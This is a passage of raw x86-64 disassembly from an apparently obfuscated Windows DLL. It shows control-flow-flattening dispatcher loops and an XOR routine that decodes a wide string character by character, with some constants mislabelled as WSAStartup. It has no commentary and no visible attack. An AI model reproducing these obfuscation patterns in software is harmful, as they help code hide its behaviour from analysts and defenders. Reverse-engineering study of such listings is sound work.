cmp ebx, 0xac12002d
jne 0x180031b50
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 7
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x180031b50
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop word cs:[rax + rax]
cmp edx, 0x1ea65c42
je 0x180031c39
cmp edx, 0xac12002d
jne 0x180031ba0
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0x28
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x180031ba0
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x10], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
cmp edx, 0xda5c9955
je 0x180031c02
cmp edx, 0x400f7ff8
jne 0x180031bf0
jmp 0x180031c5a
mov edx, 0x400f7ff8
jmp 0x180031bf0
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x10], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x180031c32
cmp ebx, 0x400f7ff8
jne 0x180031c20
jmp 0x180031c9c
mov ebx, 0x400f7ff8
jmp 0x180031c20
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov rbx, qword [rbp + 0xd8]
mov word [rbx], dx
mov edx, 0x6e3a65e9
jmp 0x180030a40
mov dword [rbp + 0x10c], 0x5c
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
cmp edx, 0x1ea65c42
je 0x180031cec
cmp edx, 0xac12002d
jne 0x180031c70
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 8
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x180031c70
mov dword [rbp + 0x10c], 0x5c
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x180031d29
cmp ebx, 0xac12002d
jne 0x180031cc0
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 8
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x180031cc0
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x12], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x180031d22
cmp edx, 0x400f7ff8
jne 0x180031d10
jmp 0x180031d59
mov edx, 0x400f7ff8
jmp 0x180031d10
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x12], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x180031d52
cmp ebx, 0x400f7ff8
jne 0x180031d40
jmp 0x180031d9c
mov ebx, 0x400f7ff8
jmp 0x180031d40
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x180031dec
cmp edx, 0xac12002d
jne 0x180031d70
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 9
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x180031d70
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x180031e29
cmp ebx, 0xac12002d
jne 0x180031dc0
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 9
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x180031dc0
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x14], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x180031e22
cmp edx, 0x400f7ff8
jne 0x180031e10
jmp 0x180031e59
mov edx, 0x400f7ff8
jmp 0x180031e10
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x14], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x180031e52
cmp ebx, 0x400f7ff8
jne 0x180031e40
jmp 0x180031e9c
mov ebx, 0x400f7ff8
jmp 0x180031e40
mov dword [rbp + 0x10c], 0x69
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x180031eec
cmp edx, 0xac12002d
jne 0x180031e70
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0xa
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x180031e70
mov dword [rbp + 0x10c], 0x69
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x180031f29
cmp ebx, 0xac12002d
jne 0x180031ec0
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0xa
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x180031ec0
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x16], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x180031f22
cmp edx, 0x400f7ff8
jne 0x180031f10
jmp 0x180031f59
mov edx, 0x400f7ff8
jmp 0x180031f10
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x16], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x180031f52
cmp ebx, 0x400f7ff8
jne 0x180031f40
jmp 0x180031f9c
mov ebx, 0x400f7ff8
jmp 0x180031f40
mov dword [rbp + 0x10c], 0x63
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x180031fec
cmp edx, 0xac12002d
jne 0x180031f70
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0xb
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x180031f70
mov dword [rbp + 0x10c], 0x63
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x180032029
cmp ebx, 0xac12002d
jne 0x180031fc0
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0xb
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x180031fc0
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x18], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x180032022
cmp edx, 0x400f7ff8
jne 0x180032010
jmp 0x180032059
mov edx, 0x400f7ff8
jmp 0x180032010
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x18], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x180032052
cmp ebx, 0x400f7ff8
jne 0x180032040
jmp 0x18003209c
mov ebx, 0x400f7ff8
jmp 0x180032040
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x1800320ec
cmp edx, 0xac12002d
jne 0x180032070
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0xc
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x180032070
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x180032129
cmp ebx, 0xac12002d
jne 0x1800320c0
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0xc
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x1800320c0
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x1a], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x180032122
cmp edx, 0x400f7ff8
jne 0x180032110
jmp 0x180032159
mov edx, 0x400f7ff8
jmp 0x180032110
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x1a], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x180032152
cmp ebx, 0x400f7ff8
jne 0x180032140
jmp 0x18003219c
mov ebx, 0x400f7ff8
jmp 0x180032140
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x1800321ec
cmp edx, 0xac12002d
jne 0x180032170
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0xd
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x180032170
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x180032229
cmp ebx, 0xac12002d
jne 0x1800321c0
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0xd
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x1800321c0
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x1c], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x180032222
cmp edx, 0x400f7ff8
jne 0x180032210
jmp 0x180032259
mov edx, 0x400f7ff8
jmp 0x180032210
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x1c], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x180032252
cmp ebx, 0x400f7ff8
jne 0x180032240
jmp 0x18003229c
mov ebx, 0x400f7ff8
jmp 0x180032240
mov dword [rbp + 0x10c], reloc.WS2_32.dll_WSAStartup
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x1800322ec
cmp edx, 0xac12002d
jne 0x180032270
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0xe
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x180032270
mov dword [rbp + 0x10c], reloc.WS2_32.dll_WSAStartup
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x180032329
cmp ebx, 0xac12002d
jne 0x1800322c0
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0xe
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x1800322c0
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x1e], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x180032322
cmp edx, 0x400f7ff8
jne 0x180032310
jmp 0x180032359
mov edx, 0x400f7ff8
jmp 0x180032310
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x1e], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x180032352
cmp ebx, 0x400f7ff8
jne 0x180032340
jmp 0x18003239c
mov ebx, 0x400f7ff8
jmp 0x180032340
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x1800323ec
cmp edx, 0xac12002d
jne 0x180032370
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0xf
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x180032370
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x180032429
cmp ebx, 0xac12002d
jne 0x1800323c0
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0xf
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x1800323c0
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x20], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x180032422
cmp edx, 0x400f7ff8
jne 0x180032410
jmp 0x180032459
mov edx, 0x400f7ff8
jmp 0x180032410
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x20], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x180032452
cmp ebx, 0x400f7ff8
jne 0x180032440
jmp 0x18003249c
mov ebx, 0x400f7ff8
jmp 0x180032440
mov dword [rbp + 0x10c], 0x66
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x1800324ec
cmp edx, 0xac12002d
jne 0x180032470
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0x10
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x180032470
mov dword [rbp + 0x10c], 0x66
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x180032529
cmp ebx, 0xac12002d
jne 0x1800324c0
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0x10
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x1800324c0
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x22], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x180032522
cmp edx, 0x400f7ff8
jne 0x180032510
jmp 0x180032559
mov edx, 0x400f7ff8
jmp 0x180032510
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x22], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x180032552
cmp ebx, 0x400f7ff8
jne 0x180032540
jmp 0x18003259c
mov ebx, 0x400f7ff8
jmp 0x180032540
mov dword [rbp + 0x10c], 0x74
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x1800325ec
cmp edx, 0xac12002d
jne 0x180032570
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0x11
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x180032570
mov dword [rbp + 0x10c], 0x74
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x180032629
cmp ebx, 0xac12002d
jne 0x1800325c0
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0x11
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x1800325c0
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x24], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x180032622
cmp edx, 0x400f7ff8
jne 0x180032610
jmp 0x180032659
mov edx, 0x400f7ff8
jmp 0x180032610
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x24], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x180032652
cmp ebx, 0x400f7ff8
jne 0x180032640
jmp 0x18003269c
mov ebx, 0x400f7ff8
jmp 0x180032640
mov dword [rbp + 0x10c], 0x5c
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x1800326ec
cmp edx, 0xac12002d
jne 0x180032670
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0x12
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x180032670
mov dword [rbp + 0x10c], 0x5c
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x180032729
cmp ebx, 0xac12002d
jne 0x1800326c0
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0x12
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x1800326c0
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x26], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x180032722
cmp edx, 0x400f7ff8
jne 0x180032710
jmp 0x180032759
mov edx, 0x400f7ff8
jmp 0x180032710
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x26], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x180032752
cmp ebx, 0x400f7ff8
jne 0x180032740
jmp 0x18003279c
mov ebx, 0x400f7ff8
jmp 0x180032740
mov dword [rbp + 0x10c], 0x77
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x1800327ec
cmp edx, 0xac12002d
jne 0x180032770
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0x13
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x180032770
mov dword [rbp + 0x10c], 0x77
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x180032829
cmp ebx, 0xac12002d
jne 0x1800327c0
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0x13
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x1800327c0
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x28], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x180032822
cmp edx, 0x400f7ff8
jne 0x180032810
jmp 0x180032859
mov edx, 0x400f7ff8
jmp 0x180032810
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x28], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x180032852
cmp ebx, 0x400f7ff8
jne 0x180032840
jmp 0x18003289c
mov ebx, 0x400f7ff8
jmp 0x180032840
mov dword [rbp + 0x10c], 0x69
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x1800328ec
cmp edx, 0xac12002d
jne 0x180032870
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0x14
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x180032870
mov dword [rbp + 0x10c], 0x69
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x180032929
cmp ebx, 0xac12002d
jne 0x1800328c0
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0x14
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x1800328c0
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x2a], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x180032922
cmp edx, 0x400f7ff8
jne 0x180032910
jmp 0x180032959
mov edx, 0x400f7ff8
jmp 0x180032910
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x2a], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x180032952
cmp ebx, 0x400f7ff8
jne 0x180032940
jmp 0x18003299c
mov ebx, 0x400f7ff8
jmp 0x180032940
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x1800329ec
cmp edx, 0xac12002d
jne 0x180032970
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0x15
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x180032970
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x180032a29
cmp ebx, 0xac12002d
jne 0x1800329c0
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0x15
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x1800329c0
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x2c], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x180032a22
cmp edx, 0x400f7ff8
jne 0x180032a10
jmp 0x180032a59
mov edx, 0x400f7ff8
jmp 0x180032a10
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x2c], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x180032a52
cmp ebx, 0x400f7ff8
jne 0x180032a40
jmp 0x180032a9c
mov ebx, 0x400f7ff8
jmp 0x180032a40
mov dword [rbp + 0x10c], 0x64
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x180032aec
cmp edx, 0xac12002d
jne 0x180032a70
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0x16
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x180032a70
mov dword [rbp + 0x10c], 0x64
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x180032b29
cmp ebx, 0xac12002d
jne 0x180032ac0
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0x16
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x180032ac0
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x2e], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x180032b22
cmp edx, 0x400f7ff8
jne 0x180032b10
jmp 0x180032b59
mov edx, 0x400f7ff8
jmp 0x180032b10
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x2e], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x180032b52
cmp ebx, 0x400f7ff8
jne 0x180032b40
jmp 0x180032b9c
mov ebx, 0x400f7ff8
jmp 0x180032b40
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x180032bec
cmp edx, 0xac12002d
jne 0x180032b70
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0x17
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x180032b70
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x180032c29
cmp ebx, 0xac12002d
jne 0x180032bc0
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0x17
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x180032bc0
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x30], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x180032c22
cmp edx, 0x400f7ff8
jne 0x180032c10
jmp 0x180032c59
mov edx, 0x400f7ff8
jmp 0x180032c10
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x30], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x180032c52
cmp ebx, 0x400f7ff8
jne 0x180032c40
jmp 0x180032c9c
mov ebx, 0x400f7ff8
jmp 0x180032c40
mov dword [rbp + 0x10c], 0x77
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x180032cec
cmp edx, 0xac12002d
jne 0x180032c70
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0x18
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x180032c70
mov dword [rbp + 0x10c], 0x77
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x180032d29
cmp ebx, 0xac12002d
jne 0x180032cc0
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0x18
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x180032cc0
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x32], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x180032d22
cmp edx, 0x400f7ff8
jne 0x180032d10
jmp 0x180032d59
mov edx, 0x400f7ff8
jmp 0x180032d10
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x32], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x180032d52
cmp ebx, 0x400f7ff8
jne 0x180032d40
jmp 0x180032d9c
mov ebx, 0x400f7ff8
jmp 0x180032d40
mov dword [rbp + 0x10c], reloc.WS2_32.dll_WSAStartup
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x180032dec
cmp edx, 0xac12002d
jne 0x180032d70
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0x19
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x180032d70
mov dword [rbp + 0x10c], reloc.WS2_32.dll_WSAStartup
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x180032e29
cmp ebx, 0xac12002d
jne 0x180032dc0
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0x19
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x180032dc0
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x34], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x180032e22
cmp edx, 0x400f7ff8
jne 0x180032e10
jmp 0x180032e59
mov edx, 0x400f7ff8
jmp 0x180032e10
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x34], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x180032e52
cmp ebx, 0x400f7ff8
jne 0x180032e40
jmp 0x180032e9c
mov ebx, 0x400f7ff8
jmp 0x180032e40
mov dword [rbp + 0x10c], 0x5c
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x180032eec
cmp edx, 0xac12002d
jne 0x180032e70
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0x1a
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x180032e70
mov dword [rbp + 0x10c], 0x5c
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x180032f29
cmp ebx, 0xac12002d
jne 0x180032ec0
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0x1a
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x180032ec0
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x36], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x180032f22
cmp edx, 0x400f7ff8
jne 0x180032f10
jmp 0x180032f59
mov edx, 0x400f7ff8
jmp 0x180032f10
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x36], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x180032f52
cmp ebx, 0x400f7ff8
jne 0x180032f40
jmp 0x180032f9c
mov ebx, 0x400f7ff8
jmp 0x180032f40
mov dword [rbp + 0x10c], 0x63
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x180032fec
cmp edx, 0xac12002d
jne 0x180032f70
mov rdx, qword [rbp + 0x100]
